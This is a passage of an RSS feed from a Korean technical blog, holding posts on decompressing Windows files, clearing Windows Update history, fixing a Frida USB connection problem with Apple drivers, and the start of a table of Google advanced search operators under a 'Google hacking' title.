&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;004.png&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ATuZx/btqBFwwsndJ/DqB86f6N8BRutNSirzKrzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ATuZx/btqBFwwsndJ/DqB86f6N8BRutNSirzKrzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ATuZx/btqBFwwsndJ/DqB86f6N8BRutNSirzKrzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FATuZx%2FbtqBFwwsndJ%2FDqB86f6N8BRutNSirzKrzK%2Fimg.png&quot; data-filename=&quot;004.png&quot; data-origin-width=&quot;443&quot; data-origin-height=&quot;334&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;파란색 화살표 표시가 된 파일과 폴더가 많은 경우에는 아래 명령어로 압축을 풀 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-size=&quot;size14&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;C:\&amp;gt;&lt;/b&gt; compact /u /s:&quot;C:\&quot; /i /Q&lt;/blockquote&gt;</description>
      <category>Operating System/Windows</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/339</guid>
      <comments>https://do9dark.tistory.com/339#entry339comment</comments>
      <pubDate>Mon, 3 Feb 2020 10:29:01 +0900</pubDate>
    </item>
    <item>
      <title>Windows  업데이트 기록 삭제 방법</title>
      <link>https://do9dark.tistory.com/338</link>
      <description>&lt;ol&gt;
&lt;li&gt;실행 창에서 &amp;quot;services.msc&amp;quot; 입력&lt;br&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n0lVW/btqzDtHAVCc/4GkqwiXCE96D3kpKtPDLm0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n0lVW/btqzDtHAVCc/4GkqwiXCE96D3kpKtPDLm0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n0lVW/btqzDtHAVCc/4GkqwiXCE96D3kpKtPDLm0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn0lVW%2FbtqzDtHAVCc%2F4GkqwiXCE96D3kpKtPDLm0%2Fimg.jpg&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;서비스 창에서 &amp;quot;Windows Update&amp;quot; 서비스 중지&lt;br&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckhzLS/btqzD6elmJs/ADZhQOfsx9lINORHKJpfI0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckhzLS/btqzD6elmJs/ADZhQOfsx9lINORHKJpfI0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckhzLS/btqzD6elmJs/ADZhQOfsx9lINORHKJpfI0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckhzLS%2FbtqzD6elmJs%2FADZhQOfsx9lINORHKJpfI0%2Fimg.jpg&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;&amp;quot;C:\Windows\SoftwareDistribution\DataStore&amp;quot; 하위 폴더 및 파일 제거&lt;br&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GIqmM/btqzBUGoPmu/dk2KjdvgzGnTgJvbjDDjP1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GIqmM/btqzBUGoPmu/dk2KjdvgzGnTgJvbjDDjP1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GIqmM/btqzBUGoPmu/dk2KjdvgzGnTgJvbjDDjP1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGIqmM%2FbtqzBUGoPmu%2Fdk2KjdvgzGnTgJvbjDDjP1%2Fimg.jpg&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;&amp;quot;C:\Windows\SoftwareDistribution\Download&amp;quot; 하위 폴더 및 파일 제거&lt;br&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z8srI/btqzCF24Jbj/do1gHUlWzmDlO5I8E3Lmr0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z8srI/btqzCF24Jbj/do1gHUlWzmDlO5I8E3Lmr0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z8srI/btqzCF24Jbj/do1gHUlWzmDlO5I8E3Lmr0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz8srI%2FbtqzCF24Jbj%2Fdo1gHUlWzmDlO5I8E3Lmr0%2Fimg.jpg&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;서비스 창에서 &amp;quot;Windows Update&amp;quot; 서비스 시작 후 Windows 업데이트 기록 확인&lt;br&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I6Lrt/btqzC2Q829F/fakWB0U5VquN0GkdLg9cY0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I6Lrt/btqzC2Q829F/fakWB0U5VquN0GkdLg9cY0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I6Lrt/btqzC2Q829F/fakWB0U5VquN0GkdLg9cY0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI6Lrt%2FbtqzC2Q829F%2FfakWB0U5VquN0GkdLg9cY0%2Fimg.jpg&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
      <category>Operating System/Windows</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/338</guid>
      <comments>https://do9dark.tistory.com/338#entry338comment</comments>
      <pubDate>Fri, 8 Nov 2019 15:02:48 +0900</pubDate>
    </item>
    <item>
      <title>[Windows 10 Problem] Waiting for USB device to appear...</title>
      <link>https://do9dark.tistory.com/337</link>
      <description>&lt;p&gt;&lt;b&gt;문제 발생&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Windows 10에서 Frida를 USB를 통해 연결하여 사용하려고 할 때 다음과 같은 메시지 이후 정상적으로 동작하지 않는 문제가 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;gt; frida-ps -U&lt;/p&gt;&lt;p&gt;Waiting for USB device to appear...&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;(-D 옵션을 이용하여 디바이스 ID로 연결 시도 시에도 동일한 증상이 발생함)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;문제 원인&lt;/b&gt;&lt;/p&gt;&lt;p&gt;정확한 원인은 몇 가지 더 확인해봐야 알겠지만...윈도우 10 설치 후 아이폰을 USB를 통해 연결 시 윈도우 10 자체 드라이버(문제가 생기는 원인)를 자동으로 설치하게 되고 이후에 iTunes를 설치하더라도 기존에 설치된 드라이버가 있어서 정상적으로 동작하는 드라이버가 설치가 되지 않으면서 생기는 문제로 보임. 일반적으로 iTunes를 삭제하고 다시 설치 시 대부분의 문제가 해결되지만 해당 문제의 경우 윈도우 10에서 자동적으로 설치한 드라이버의 문제로 직접 해당 드라이버를 제거해줘야 해결이 가능한 것으로 판단됨. 추가적인 확인 내용은 업데이트 되는대로 글 수정을 하도록 하겠음.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;해결 방법&lt;/b&gt;&lt;/p&gt;&lt;p&gt;1. [컴퓨터 관리] &amp;gt; [장치 관리자]&lt;/p&gt;&lt;p&gt;2. [범용 직렬 버스 장치]에 보면 [Apple Mobile Device USB Composite Device], [Apple Mobile Device USB Device] 디바이스 제거&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(189, 189, 189);&quot;&gt;(제거 시, 이 장치의 드라이버 소프트웨어도 삭제)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;3. iTunes 설치 파일을 열어서(압축 프로그램 이용) AppleMobileDeviceSupport6464.msi 파일 실행하여 설치&lt;/p&gt;&lt;p&gt;4. 설치 후 장치 관리자 다시 확인해보면 [범용 직렬 버스 컨트롤러]에 [Apple Mobile Device USB Driver]가 추가됨을 확인&lt;/p&gt;&lt;p&gt;5. frida 다시 시도&lt;/p&gt;&lt;p&gt;6. 정상 실행!&lt;/p&gt;</description>
      <category>Tool/Frida</category>
      <category>Frida</category>
      <category>Infinite</category>
      <category>problem</category>
      <category>USB</category>
      <category>waiting</category>
      <category>Windows</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/337</guid>
      <comments>https://do9dark.tistory.com/337#entry337comment</comments>
      <pubDate>Tue, 4 Dec 2018 16:18:35 +0900</pubDate>
    </item>
    <item>
      <title>구글해킹, Google Dorks</title>
      <link>https://do9dark.tistory.com/336</link>
      <description>&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; color: rgb(0, 0, 0); font-family: &amp;quot;맑은 고딕&amp;quot;, sans-serif; font-size: 13px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;4&quot; border=&quot;1&quot; width=&quot;706&quot; style=&quot;letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; font-size: 11px; font-family: verdana, arial, sans-serif; color: rgb(34, 34, 34); line-height: 20px; width: 706px;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th align=&quot;center&quot; style=&quot;width: 143px; background-color: rgb(53, 53, 53);&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: rgb(255, 255, 255);&quot;&gt;Search Service&lt;/span&gt;&lt;/span&gt;&lt;/th&gt;&lt;th align=&quot;center&quot; style=&quot;width: 557px; background-color: rgb(53, 53, 53);&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 255, 255);&quot;&gt;Search Operato&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 255, 255);&quot;&gt;rs&lt;/span&gt;&lt;/span&gt;&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 143px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Web Search&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 557px;&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: justify; margin-left: 2em;&quot;&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allinanchor&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;allinanchor:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allinurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allinurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#cache&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;cache:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#define&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;define:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#filetype&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;filetype:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: justify; margin-left: 2em;&quot;&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#id&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;id:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#inanchor&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;inanchor:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#info&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;info:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#inurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;inurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#link&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;link:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#related&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;related:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#site&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;site:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 143px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Image&amp;nbsp;Search&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 557px;&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: justify; margin-left: 2em;&quot;&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allinurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allinurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#filetype&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;filetype:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#inurl&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;inurl:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#intitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;intitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#site&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;site:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align=&quot;center&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 143px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Groups&lt;/span&gt;&lt;/td&gt;&lt;td align=&quot;left&quot; style=&quot;line-height: normal; font-size: 13px; font-family: verdana, arial, sans-serif; color: rgb(0, 0, 0); width: 557px;&quot;&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; text-align: justify; margin-left: 2em;&quot;&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintext&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintext:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#allintitle&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;allintitle:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#author&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;author:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#group&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 0);&quot;&gt;group:&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.googleguide.com/advanced_operators_reference.html#insubject&quot; style=&quot;color: rgb(152, 0, 0); text-decoration: none; border-bottom: 0px dotted rgb(152, 0, 0);&quot;&gt;&lt;code style=&quot;font-family: courier, fixed, monospace;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt; color: rgb(0, 0, 